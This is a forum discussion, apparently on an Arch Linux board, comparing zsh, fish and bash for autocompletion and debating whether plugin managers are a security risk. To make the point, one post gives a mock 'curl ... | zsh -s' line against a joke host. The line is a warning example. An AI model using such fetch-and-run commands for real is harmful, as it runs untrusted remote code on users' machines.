How to have autocomplete in terminal?

That’s completely beside the point. I use two scripts from the official Arch repos, which are vetted by the TUs before the updates are pushed. The chances of those containing malware are negligible.

You use 12 “plugins” which are sourced from random github places (and the update process is automatic) so if any one of them gets hijacked and the script is modified to, besides doing what it does, for example, also install a bitcoin miner, well, guess what: you’ll be mining bitcoins. :rofl:

You have 12 points of easy access. It’s exactly the same as running

curl http://totallynotmalware.trustme.bruh/script.zsh | zsh -s

for 12 different scripts, except automatic so you don’t have oversight.

Tell that to people who contribute to plugins/plugins managers.

Sure, I’ll tell them not to install malware on your computer. And that they should use very strong passwords for their M$-github accounts, so that nobody else installs malware on your computer. Yes, I’m sure me telling them that will keep you safe! :man_facepalming:

I’ll also say to any intelligent person reading this: don’t use a “plugin manager” for Zsh.

Sounds like trusted source!

honka_animated-128px-28

Totally legit!

looks-good-14

As mentioned already zsh has it via zsh-autosuggestion.

fish has it out of the box. I don’t know if bash has something like this.

For me (I am biased, of course :slight_smile: ) zsh and fish are the best shells. I only use bash if I have too. On my own systems only zsh or fish.

I don’t like Fish because of its non-POSIX syntax. Since I do a fair amount of Bash scripting, I like to use every opportunity to use a POSIX-compliant shell, so I don’t have to keep track of two vastly different shell syntaxes.

Therefore, I think Fish is a… misguided concept.

Zsh is good, because it is very customisable, and is POSIX-compliant so it shares a large feature subset with Bash. It’s a very comfy shell for interactive use. But I don’t have Zsh as my default shell, I launch it automatically from Konsole, my preferred terminal emulator. I keep Bash as my user’s default shell, as I find it to be superior in TTY and over SSH, where frills like auto-complete and syntax highlighting only get in the way.

Yes, I understand your point.

I also have bash as my shell in /etc/passwd. The switch to (currently) fish happens in ~/.bashrc. I have not faced any problems with zsh or fish when using ssh.

Other situations to switch is, for example, in wezterm (my preference).

I recommend against doing that. You’re starting a Bash process only for it to become a parent to a Fish process and keep running for the entire time you use Fish. It’s completely pointless. When you want to close your shell with the EOF character (Ctrl+D) you get instead dropped to Bash.

Instead, your terminal emulator probably has either a command line option to launch a shell, or an option somewhere in its settings. For example, in Konsole:

NO

[ -x /bin/fish ] && SHELL=/bin/fish exec fish
1 Like

I said already that in my terminal emulator’s (wezterm) config I have specified to invoke fish

So why do you start it also from .bashrc?

I am so spoiled that in case I am in a console I want to have fish automatically. :grin:

Actually regarding fish and zsh: I started with zsh when I was on FreeBSD over 20 years ago. I like both very much and have configured zsh and fish more or less the same way. Some things are easy because I use starship for the prompt and atuin for the history. Both are available for zsh and fish (and other shells I don’t use) :grinning:

Dang. Looks like I’m the odd one out here since I only use bash these days.

Bash has tab completion via the bash-completion package, though it is very basic (no fancy virtual text like in zsh, no selection menu, etc.).

Personally, I find fish to be slower compared to bash and zsh. fish also doesn’t support the FOO=BAR syntax when setting shell variables. IIRC, it uses the set command instead.

Personally, I would love to be able to replace Bash with Dash as /bin/sh, but unfortunately, that is not feasible on Arch Linux, because of this:

That’s the single biggest flaw of Arch Linux as a distro, in my opinion.

Many are using bash so you are surely not an odd one. :slight_smile:

AFAIK, bash completion is the old way. Good but offering nothing fancy like auto suggestion which I would not like to miss.

Variable setting is different. @Kresimir mentioned it already. fish isn’t a POSIX compliant shell.

I think the old way is not using any completion at all :rofl:. But that also depends on the definition of old, I guess.

True. Though in my opinion, a shell can be non-POSIX compliant but at the same time still retain something as intuitive as the assignment syntax (even though it is part of the POSIX standard), which AFAIK is universal across most scripting and programming languages—unless we're talking about something as esoteric as the Shakespearean Programming Language. After all, even haskell uses the = operator for assignments.

It does make me wonder the rationale behind such a design choice by the fish authors (to simplify parsing, perhaps?). But I suppose the only way to find out is to ask the fish authors directly.

It seems that Zsh-like auto-suggestions and syntax highlighting can be achieved in Bash, if one replaces the standard GNU readline line editor with a custom one. A popular choice seems to be ble.sh.

I have not tried it, but I might make it a weekend project sometimes in the future. It seems awfully bloated, though, but it might be fun to experiment with it. I don’t expect it will replace Zsh for me.

I use it and while it seems like a lot it is still quick and even just with defaults does pretty much all that was originally asked for.

1 Like